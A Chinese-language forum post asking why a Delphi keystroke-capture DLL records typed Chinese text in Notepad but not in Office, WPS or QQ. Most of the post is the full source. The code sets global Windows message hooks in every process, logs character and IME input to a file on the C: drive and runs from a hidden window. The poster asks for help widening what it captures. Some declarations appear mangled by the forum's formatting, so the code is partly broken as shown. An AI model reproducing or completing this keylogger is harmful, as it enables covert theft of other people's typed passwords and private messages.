L
leeshen
Unregistered / Unconfirmed
GUEST, unregistred user!
使用消息过滤,在后台抓取输入的的汉字,在notepad.exe中可以,但是在office,wps,qq等软件中无法记录下输入的汉字,不止为什么?请帮助解答!<br><br>library GetKey;<br><br>uses windows,messages,sysutils;<br><br>{$r *.res}<br><br>const<br><br> HookMemFileName='HookMemFile.DTA';<br><br>type<br> PShared=^TShared;<br> PWin=^TWin;<br> TShared = record<br> HHGetMsgProc:HHook;<br> HHCallWndProc:HHook;<br> Self:integer;<br> Count:integer;<br> hinst:integer;<br> end;<br> TWin = record<br> Msg:TMsg;<br> wClass:TWndClass;<br> hMain:integer;<br> end;<br>var<br> MemFile:THandle;<br> SharedShared;<br> Win:TWin;<br><br>procedure SaveInfo(str:string);stdcall;<br>var<br> f:textfile;<br>begin<br> assignfile(f,'c:/key.txt');<br> if fileexists('c:/key.txt')=false then rewrite(f)<br> else append(f);<br> if strcomp(pchar(str),pchar('#13#10'))=0 then writeln(f,'')<br> else write(f,str);<br> closefile(f);<br>end;<br><br>procedure HookProc(hWnd:integer;uMessage:integer;wParam:WPARAM;lParam:LPARAM);stdcall;<br>begin<br> if (uMessage=WM_CHAR) and (lParam<>1) then<br> begin<br> SaveInfo(format('%s',[chr(wparam and $ff)]));<br> inc(shared^.count);<br> if shared^.count>60 then<br> begin<br> SaveInfo('#13#10');<br> shared^.count:=0;<br> end;<br> end;<br> if (uMessage=WM_IME_CHAR) then<br> begin<br> SaveInfo(format('%s%s',[chr((wparam shr 8) and $ff),chr(wparam and $ff)]));<br> inc(shared^.count,2);<br> end;<br>end;<br><br>function GetMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;<br>var<br> pcsMSG;<br> hd,uMsg,wP,lP:integer;<br>begin<br> pcs:=PMSG(lParam);<br> if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then<br> begin<br> hd:=pcs^.hwnd;<br> uMsg:=pcs^.message;<br> wp:=pcs^.wParam;<br> lp:=pcs^.lParam;<br> HookProc(hd,uMsg,wp,lp);<br> end;<br> Result:=CallNextHookEx(shared^.HHGetMsgProc,nCode,wParam,lParam);<br><br>end;<br><br>function CallWndProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;<br>var<br> pcsCWPSTRUCT;<br> hd,uMsg,wP,lP:integer;<br>begin<br> pcs:=PCWPSTRUCT(lParam);<br> if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then<br> begin<br> hd:=pcs^.hwnd;<br> uMsg:=pcs^.message;<br> wp:=pcs^.wParam;<br> lp:=pcs^.lParam;<br> HookProc(hd,uMsg,wp,lp);<br> end;<br> Result:=CallNextHookEx(shared^.HHCallWndProc,nCode,wParam,lParam);<br>end;<br><br>procedure SetHook(fSet:boolean);<br>begin<br> with shared^ do<br> if fSet=true then<br> begin<br> if HHGetMsgProc=0 then HHGetMsgProc:=SetWindowsHookEx(WH_GETMESSAGE,@GetMsgProc,hinstance,0);<br> if HHCallWndProc=0 then<br> begin<br> HHCallWndProc:=SetWindowsHookEx(WH_CALLWNDPROC,@CallWndProc,hinstance,0);<br> if HHCallWndProc=0 then UnhookWindowsHookEx(HHGetMsgProc);<br> end;<br> end else<br> begin<br> if HHGetMsgProc<>0 then UnhookWindowsHookEx(HHGetMsgProc);<br> if HHCallWndProc<>0 then UnhookWindowsHookEx(HHCallWndProc);<br> HHGetMsgProc:=0;<br> HHCallWndProc:=0;<br> end;<br>end;<br><br>procedure Extro;<br>begin<br> UnmapViewOfFile(Shared);<br> CloseHandle(MemFile);<br>end;<br><br><br>function WindowProc(hWnd,Msg,wParam,lParam:longint):LRESULT; stdcall;<br>begin<br> Result:=DefWindowProc(hWnd,Msg,wParam,lParam);<br> case Msg of<br> wm_destroy:<br> begin<br> SetHook(False);<br> ExitThread(0);<br> freelibrary(shared^.hinst);<br>// TerminateThread();<br> //exitprocess(0);<br> end;<br> end;<br>end;<br><br>procedure run;stdcall;<br>begin<br> win.wClass.lpfnWndProc:= @WindowProc;<br> win.wClass.hInstance:= hInstance;<br> win.wClass.lpszClassName:='GetKey';<br> RegisterClass(win.wClass);<br> win.hmain:=CreateWindowEx(ws_ex_toolwindow,win.wClass.lpszClassName,'GetKey',WS_CAPTION,0,0,1,1,0,0,hInstance,nil);<br> FillChar(Shared^,SizeOf(TShared),0);<br> shared^.self:=win.hmain;<br> shared^.hinst:=hinstance;<br> SetHook(true);<br> postmessage(findwindow('WinExec',nil),wm_destroy,0,0);<br> while(GetMessage(win.Msg,win.hmain,0,0))do<br> begin<br> TranslateMessage(win.Msg);<br> DispatchMessage(win.Msg);<br> end;<br>end;<br><br>procedure DllEntryPoint(fdwReasonWORD);<br>begin<br> case fdwReason of<br> DLL_PROCESS_DETACH:<br> Extro;<br> end;<br>end;<br><br>exports run;<br><br>begin<br> //建立内存映象文件,用来保存全局变量<br> MemFile:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(TShared),HookMemFileName);<br> Shared:=MapViewOfFile(MemFile,FILE_MAP_WRITE,0,0,0);<br> DLLProc:=@DllEntryPoint;<br>end.